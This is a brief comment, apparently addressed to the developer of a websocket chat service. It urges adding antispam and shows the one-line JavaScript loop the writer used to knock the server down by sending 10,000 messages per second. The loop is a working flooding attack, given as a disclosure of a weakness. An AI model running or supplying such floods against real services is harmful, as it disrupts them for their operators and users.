You should add some antispam, at least.

I was able to keep your server down by using only this:

> setInterval( function () { for(i=0;i<=9999; i++) { ws.send(JSON.stringify({ type: 'message', username: $('#username').text(), message: 'seems like the ws server is fucked. stop spamming' })); } }, 1000);